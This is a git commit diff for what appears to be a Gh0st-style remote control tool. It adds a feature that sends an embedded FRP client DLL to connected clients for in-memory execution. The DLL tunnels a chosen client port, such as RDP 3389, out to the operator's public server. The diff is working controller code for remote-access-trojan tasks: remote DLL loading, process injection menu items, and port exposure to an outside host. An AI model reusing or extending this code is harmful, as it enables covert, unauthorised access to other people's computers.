Feature: Use frpc.dll to proxy client's TCP port

This commit is contained in:
yuanyuanxiang
2025-12-22 20:02:57 +01:00
parent 5a33628b92
commit d580d282d8
12 changed files with 299 additions and 49 deletions

Binary file not shown.

View File

@@ -55,6 +55,7 @@
#define TIMER_CLOSEWND 2
#define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
#define TINY_DLL_NAME "TinyRun.dll"
#define FRPC_DLL_NAME "Frpc.dll"
typedef struct {
const char* szTitle; //列表的名称
@@ -324,6 +325,26 @@ DllInfo* ReadTinyRunDll(int pid)
return new DllInfo{ name, buf };
}
DllInfo* ReadFrpcDll()
{
std::string name = FRPC_DLL_NAME;
DWORD fileSize = 0;
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfoNew info = { MEMORYDLL, fileSize, CALLTYPE_FRPC_CALL };
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
buffer[0] = CMD_EXECUTE_DLL_NEW;
memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew));
memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize);
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5);
SAFE_DELETE_ARRAY(dllData);
SAFE_DELETE_ARRAY(buffer);
return new DllInfo{ name, buf };
}
std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath)
{
std::vector<DllInfo*> result;
@@ -421,6 +442,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP);
m_bmOnline[18].LoadBitmap(IDB_BITMAP_INJECT);
m_bmOnline[19].LoadBitmap(IDB_BITMAP_PORTPROXY);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
@@ -579,7 +601,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
END_MESSAGE_MAP()
ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort)
END_MESSAGE_MAP()
// CMy2015RemoteDlg 消息处理程序
@@ -1672,6 +1695,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
Menu.SetMenuItemBitmaps(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND, &m_bmOnline[18], &m_bmOnline[18]);
Menu.SetMenuItemBitmaps(ID_PROXY_PORT, MF_BYCOMMAND, &m_bmOnline[19], &m_bmOnline[19]);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash) {
@@ -2420,6 +2444,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
break;
}
case CMD_EXECUTE_DLL: { // 请求DLL执行代码【L】
case CMD_EXECUTE_DLL_NEW:
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
if (std::string(info->Name) == TINY_DLL_NAME) {
auto tinyRun = ReadTinyRunDll(info->Pid);
@@ -2428,6 +2453,13 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
SAFE_DELETE(tinyRun);
break;
}
else if (std::string(info->Name) == FRPC_DLL_NAME) {
auto frpc = ReadFrpcDll();
Buffer* buf = frpc->Data;
ContextObject->Send2Client(buf->Buf(), frpc->Data->length());
SAFE_DELETE(frpc);
break;
}
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
DllInfo* dll = *i;
if (dll->Name == info->Name) {
@@ -4351,3 +4383,122 @@ void CMy2015RemoteDlg::OnParamEnableLog()
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
SendMasterSettings(nullptr);
}
bool IsDateGreaterOrEqual(const char* date1, const char* date2)
{
const char* months[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
auto parseDate = [&months](const char* date, int& year, int& month, int& day) {
char mon[4] = { 0 };
sscanf(date, "%3s %d %d", mon, &day, &year);
month = 0;
for (int i = 0; i < 12; i++) {
if (strcmp(mon, months[i]) == 0) {
month = i + 1;
break;
}
}
};
int y1, m1, d1, y2, m2, d2;
parseDate(date1, y1, m1, d1);
parseDate(date2, y2, m2, d2);
if (y1 != y2) return y1 >= y2;
if (m1 != m2) return m1 >= m2;
return d1 >= d2;
}
#include <string>
#include <cstdio>
#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "advapi32.lib")
std::string GetAuthKey(const char* token, long long timestamp)
{
char tsStr[32];
sprintf_s(tsStr, "%lld", timestamp);
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
std::string result;
if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash))
{
CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0);
CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0);
BYTE hash[16];
DWORD cbHash = sizeof(hash);
if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0))
{
char hex[33];
for (int i = 0; i < 16; i++)
sprintf_s(hex + i * 2, 3, "%02x", hash[i]);
result = hex;
}
CryptDestroyHash(hHash);
}
CryptReleaseContext(hProv, 0);
}
return result;
}
// 基于FRP将客户端端口代理到主控程序的公网
// 例如代理3389端口即可通过 mstsc.exe 进行远程访问
void CMy2015RemoteDlg::OnProxyPort()
{
BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
std::string pwd = THIS_CFG.GetStr("frp", "token", "");
std::string ip = THIS_CFG.GetStr("settings", "master", "");
if (!useFrp || pwd.empty() || ip.empty()) {
MessageBoxA("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION);
return;
}
CInputDialog dlg(this);
dlg.Init("代理端口", "请输入客户端端口:");
if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) {
return;
}
uint64_t timestamp = time(nullptr);
std::string key = GetAuthKey(pwd.c_str(), timestamp);
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
int localPort = atoi(dlg.m_str);
auto frpc = ReadFrpcDll();
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort);
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
if (!ctx->IsLogin())
continue;
CString date = ctx->GetClientData(ONLINELIST_VERSION);
if (IsDateGreaterOrEqual(date, "Dec 22 2025")) {
Buffer* buf = frpc->Data;
BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = {0};
memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew));
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1);
SetParameters(p, (char*)&param, sizeof(param));
ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew));
}
else {
PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("版本不支持"),
(LPARAM)new CharMsg("客户端版本最低要求: " + CString("Dec 22 2025")));
}
break;
}
LeaveCriticalSection(&m_cs);
SAFE_DELETE(frpc);
MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!",
"提示", MB_ICONINFORMATION);
}

View File

@@ -248,7 +248,7 @@ public:
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[19];
CBitmap m_bmOnline[20];
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
CDialogBase* GetRemoteWindow(HWND hWnd);
@@ -381,4 +381,5 @@ public:
afx_msg void OnOnlineInjNotepad();
afx_msg void OnParamLoginNotify();
afx_msg void OnParamEnableLog();
afx_msg void OnProxyPort();
};

View File

@@ -425,6 +425,7 @@
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
<Image Include="res\Bitmap\EditGroup.bmp" />
<Image Include="res\Bitmap\GrayDesktop.bmp" />
<Image Include="res\Bitmap\HostProxy.bmp" />
<Image Include="res\Bitmap\Inject.bmp" />
<Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />

View File

@@ -177,6 +177,7 @@
<Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\EditGroup.bmp" />
<Image Include="res\Bitmap\Inject.bmp" />
<Image Include="res\Bitmap\HostProxy.bmp" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

Binary file not shown.